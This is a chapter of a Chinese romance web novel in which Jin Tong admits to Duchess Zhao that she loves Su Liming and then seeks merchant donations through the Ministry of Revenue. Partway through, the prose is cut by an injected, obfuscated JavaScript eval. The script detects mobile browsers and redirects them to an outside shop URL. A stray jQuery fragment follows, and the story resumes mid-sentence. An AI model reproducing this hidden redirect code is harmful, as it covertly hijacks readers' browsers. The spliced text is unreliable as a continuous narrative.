金桐领命回了家，离老远见一妇人在自家门口徘徊，她忙走近，瞧清是有过一面之缘的国公夫人赵氏。


    赵氏似是对她的归来感到意外，但也只是一瞬，旋即回复从容神态。


    “金桐小姐，可否借一步说话。”


    金桐虽身有要事，但不好拒绝长辈的邀约，尤其这位长辈还是苏礼明和苏景明的生母。


    她们二人往旁行了一段，这条巷子本就是国公府后巷，日常没什么人来往，说话也方便。


    “咱们做了许久的邻居，我还未拜访过，希望小姐不要觉得怠慢。”


    金桐忙道：“论资论辈都应是我主动拜访夫人。”


    赵氏摇摇头，笑道：“上次在花溪的及笄礼还是第一次见面，不知小姐记不记得，虽是远远的一面，我对小姐却是喜欢得紧。”


    迟来的喜欢令金桐嘴角抽动，赵氏却面色如常，金桐直言道：“多谢夫人夫人青睐，但不知夫人找我是有何事？若有可为夫人效劳的，金桐定当尽力而为。”


    赵氏被她的爽朗鼓舞，便不再兜圈子，道：“我却有一事有求于小姐。”


    金桐道：“夫人请讲。”


    赵氏慈爱宽容地笑着：“金桐小姐行事不拘小节，但……实不相瞒，花溪那孩子我看着长大，和礼明情投意合。说来是我教子无方，礼明他为人处世不够端庄，日后我会多加规训，总不会委屈了花溪。”


    字字句句不提她，却都是对她的敲打。金桐明白，赵氏是怪她和苏礼明走得太近了。她不羞也不恼，得体又磊落，等待赵氏对她的最后通牒。


    赵氏说话时便观察着她的脸色，一时间却看不出什么，只能继续道：“我为人母，希望你能体谅我，远离我的儿子。”


    话已说到此处，金桐歉然道：“夫人，这件事我做不到。”


    赵氏被直接拒绝，有些不悦：“你方才说的尽力而为，是哄骗我不成？我又不是让你就此与礼明反目，你只需在他找你的时候，多拒绝他几次，久而久之他也就淡了。”


    金桐却问道：“夫人瞩意覃小姐，可曾问寻过您儿子本人的意见？据我观察，令郎对覃小姐并无男女情谊。”


    赵氏有些恼怒她置喙自己的家事，道：“自古以来婚姻大事都是父母之命，媒妁之言，礼明现在看不见花溪的好，日后也会明白她，感情都是慢慢培养的。该说的话我都说尽了，我不愿与你一个小姑娘为难，也请你自重。”


    金桐不想赵氏对她怨气这样大，沉默半晌。赵氏以为自己话说得重了，又心中懊悔，说话软了些：“我没有责怪你的意思。”


    她们两个说话并没走远，就在院墙下，苏礼明听到墙外窸窸窣窣的声音，便出来看。


    他手刚搭在门上，便听墙外的金桐道：“夫人，我心悦苏礼明，实在无法答应您的要求。”


    苏礼明默默收回手。


    “你……”赵氏震惊于金桐言语之大胆，“你们两个到底怎么回事！”


    看似平静的金桐实则快疯了！


    她竟然直接对人家的母亲剖白了心迹！


    天底下哪有这样的事！


    面对赵氏的质问，她冷静道：“令郎以诚心待我，我待之亦然，我们两个是很好的朋友。”


    “朋友？”赵氏半信半疑地重复了一句。


    “正是朋友。”金桐肯定道，“他……尚不知我心意，还请夫人当作今日之事未发生过，为我保守秘密。”


    “我凭什么替你保密？”赵氏不快问道。


    “那夫人是打算将我的心意告知他吗？”金桐的心悬了起来，暗自喜欢是她一个人的事情，若让苏礼明知晓，就变成了两个人的事情，她该以怎样的心态面对苏礼明，她还没做好准备。


    赵氏却当金桐在示威，她抚了抚胸口，自己明明是来告诫这个小丫头的，竟感觉被反将一军。


    “你进不了国公府的大门。”


    金桐道：“我也无此意。”


    赵氏却不信，她也是从这个年纪过来的，权当金桐嘴硬。


    “那你做什么喜欢礼明？”


    为什么喜欢他呢？金桐认真想了想，过往相处的细节清晰浮现在眼前，她却理不出个缘由。


    “因为……他很好啊，所以就喜欢了。感情这种事，从来不受人的意念所控制。”


    这样的说辞不能使赵氏信服，她生出的儿子那般多的优点，竟有人一处也说不出。金桐看向她的眼神实在真诚，每句话都让她有一拳打在棉花上的感觉。


    她给赵氏的感觉很熟悉，就像……邱监察。


    赵氏终是相信了她，叹出一口气，“你们这样的人，总是想的和旁人不一样，我也搞不懂。”她出于怜惜提点道，“礼明是日后要袭爵的国公府长子，你们二人绝无可能，感情上的事总是女子吃亏些，你再控制不住也要控制。”


    金桐感知到来自长辈的善意，心中升起感激：“多谢您。”


    “好了。”赵氏无奈，“今日就当我们没见过，那些话也没说过。”


    金桐目送赵氏从后门回府，转身推开了大门。


    院子里空无一人，王盛宣已从宿醉中清醒，三个人在屋子里说话。苏景明对着门，第一个瞧见金桐，从房中跑出来，道：“姐姐回来这般早。”


    苏礼明和王盛宣也进到院子里，金桐把商户捐款的名单放在石桌上，把上午发生的事情原原本本讲给他们听。


    王盛宣和商会打过交道，评价道：“嘶，我觉得邱检查说得对啊，以他们平日的开销，捐得确实少了点儿。”


    苏景明道：“巧了不是，这事就包在兄长身上吧。”


    “此话怎讲？”邱检查也说过让她来找苏礼明帮忙，没想到苏景明也这样说，金桐不禁好奇道。


    苏景明道：“姐姐还不知道吧，你们从岭南回来，兄长得了嘉奖，日前在户部挂了职。”


    这事她倒真不知道，苏礼明未曾和她提起过。闻言她看向苏礼明，苏礼明笑意温柔：“确是去报了道，尚未来得及同你说。”


    金桐还不知自己在墙下说的话被听了个精光，她看出苏礼明心情尚佳，却会错了意道：“果然是人逢喜事精神爽。”


    苏礼明失笑道：“与那无关。”


    金桐道：“事不宜迟，你就陪我去户部走一趟吧。”


    王盛宣道：“既然和商会有关系，我也要一起去。”


    金桐稍作思量，点头同意了。苏景明眼见自己又落了单，不满道：“你们都去，那我也去，商会的人我也认识。”


    金桐头疼，事情又不是人多就办得成，但看苏景明可怜兮兮的模样，她又不忍拒绝，


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16868542|191821||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    无奈道：“罢了，不差你一个了。”


    邱监察交给她的差事本不好办，到了户部，她被三个人环在中间，竟莫名生出了人仗人势的底气。


    苏礼明新上任，对户部却惊人地熟悉，金桐本以为他们先要费力在各处周转一番，结果却出乎意料地轻松。


    苏礼明拿着商会的捐赠名单，叫来一名下属，低声跟他交代几句，之后下属依照他所说，去各处层层通报过，小跑着回来，带着他们去见户部尚书。


    户部尚书正是覃花溪的父亲，见了苏礼明亲热得紧，苏礼明有礼地说明了来意，把金桐引荐给他。


    金桐呈上邱监察手令，又将邱监察的话委婉地表述了一遍。


    户部尚书的两个眉尖越凑越近，时不时唉声叹气。


    “户部做事也要讲究规矩，哪有募捐还强制规定数额的，这不是明抢吗！”


    金桐心虚地看向别处，邱监察的意思就是明抢呀！


    但她不能真的这么说，只能违心道：“规矩都是人定的，今日开了先例，往后再遇这种事，也就行得方便了。”


    监察院的人都是土匪。


    户部尚书绝望地闭上双眼，食指和中指轻轻揉按太阳穴，无力道：“礼明贤侄，这事你说该怎么办？”


    人既然是苏礼明领过来的，这个烫手的山芋理应扔回他手中。


    苏礼明道：“邱监察的要求，户部当全力满足。”


    “那此事就交由你办理吧。”户部尚书道。


    从户部出来，苏景明不满道：“兄长，你为何要对覃伯父表态，平白给了他甩锅的机会。”


    金桐道：“本来也没指望户部真的出头，过来找他们也只是知会一声，提醒他们不要阻碍我们。尚书大人替我们组局，已是看在邱监察与你兄长的面子上，无论你兄长表不表态，这件事最后都会落在他肩上，还不如卖覃大人一个人情，自己领了。”


    金桐定下了前日他们相聚宴饮的酒楼，也仍是那个包间，歌姬舞姬等人也是前日的原班人马。


    穿着清凉的舞姬推开门带人进来，看见金桐，两眼一黑。她就是抱着王盛宣那个，以为金桐是来找茬的，一只脚迈进了门里，另一只脚还在门外，进退不得。


    “来了，快请进。”金桐招呼她们进来，“人还没齐，你们不用忙活，自便就好。”


    她越和气，舞姬越觉得来者不善，其中定然有诈，反而更畏惧她。偏王盛宣这个没心机的，还笑着和舞姬打招呼，更把人吓得够呛。


    这酒楼是权贵消遣的场所，价格不菲。王盛宣不解道：“你是来筹钱的，还是来花钱的？这么大手笔，不怕肉包子打狗？”


    苏景明噗嗤笑出声：“王兄你这嘴。”


    金桐无奈：“我能想到的也仅有此法，不到不得已我也不愿用强，先礼后兵看看吧，软的要是不行，最后还得请苏兄帮我。”


    王盛宣敏锐地抓住金桐话中的小辫子，“你怎么也‘苏兄’上了？”


    金桐咳了一声：“求人要有求人的态度。”


    第一位客人很快到来，大腹便便，满面红光。这人金桐记得，曾用手指过她，被旁边的同伴制止了。


    他满脸狐疑地看着金桐和缩在角落里的美人门，犹豫了。


    金桐和善一笑，道：“请落座。”